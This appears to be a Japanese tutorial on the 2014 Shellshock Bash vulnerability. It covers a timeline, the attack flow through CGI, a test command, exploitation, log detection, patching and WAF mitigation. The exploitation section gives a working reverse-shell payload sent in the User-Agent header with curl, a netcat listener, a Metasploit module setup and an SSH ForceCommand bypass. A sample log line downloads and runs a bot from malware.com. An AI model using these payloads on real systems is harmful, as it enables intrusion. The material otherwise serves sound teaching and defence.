環境変数 → 関数定義 → [ここで余分なコードを実行] ← バグ

2014年9月12日 ──── Stéphane Chazelas がバグを発見し、BashメンテナのChet Rameyに報告。
                 バグはBashに20年以上存在していた。

2014年9月24日 ──── 公開開示＋パッチ公開（CVE-2014-6271）
                 数時間後：ボットネットがインターネットを大規模にスキャン。

2014年9月25～30日 ── 関連脆弱性が発見される：
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

2014年10月 ──────── 数百万件の攻撃が記録。Heartbleedと同等の深刻さと評価。

# 悪意ある環境変数：
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# 脆弱なBashが初期化時に行う処理：
# 1. 関数定義を読み取る  → OK
# 2. }; を見つける → 停止すべき
# 3. 続行 → /bin/cat /etc/passwd を実行  ← バグ

攻撃者                    Apache CGIサーバ              Bash (脆弱)
   │                               │                                │
   │  HTTPリクエスト                │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  ヘッダを環境変数に変換        │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ cmdを実行
   │                               │                                │ www-data権限で
   │◀──────────────────────────────│◀───────────────────────────────│
   │  レスポンス + cmdの出力       │                                │

env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

VULNERABLE
this is a test

this is a test

影響を受けるヘッダ: User-Agent, Referer, Cookie, X-Forwarded-For, カスタムヘッダ

# サーバにForceCommandが設定されている場合、有効な鍵を持つ攻撃者はそれを迂回できる
ssh user@target '() { :;}; /bin/bash'

# 環境変数を継承し、Bashを実行するプロセス
env VAR='() { :;}; 悪意のあるコマンド' bash -c "正規のスクリプト"

nc -lvnp 4444

# User-Agentに注入するペイロード
() { :;}; /bin/bash -i >& /dev/tcp/攻撃者IP/4444 0>&1

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://脆弱なサイト.com/cgi-bin/test.cgi

Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <ターゲット>
set TARGETURI /cgi-bin/test.cgi
set LHOST <自身のIP>
run

# access.logで特徴的なパターンを検索
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# 悪意あるログの例：
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

# www-data/apacheの子プロセスで存在すべきでないもの
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

- /tmp, /var/tmp, /dev/shm に新しい実行可能ファイル
- Webサーバから未知のIPへの外部接続
- /etc/crontab または /etc/passwd の改変
- 端末なしでwww-dataとして動作するbashプロセス

# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# パッチ済みバージョンの確認（"patches" が表示されること）
bash --version
# GNU bash, version 4.3.30(1)-release → 脆弱
# GNU bash, version 4.3.33(1)-release → パッチ済み（ディストリビューションにより異なる）

# "this is a test" のみが出力されること。"VULNERABLE" は決して表示されない
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

# 1. 不要なCGIを無効化
a2dismod cgi

# 2. WAFルールでパターンをブロック
# ModSecurityの場合：
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"

# 3. 継続的なログ監視
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"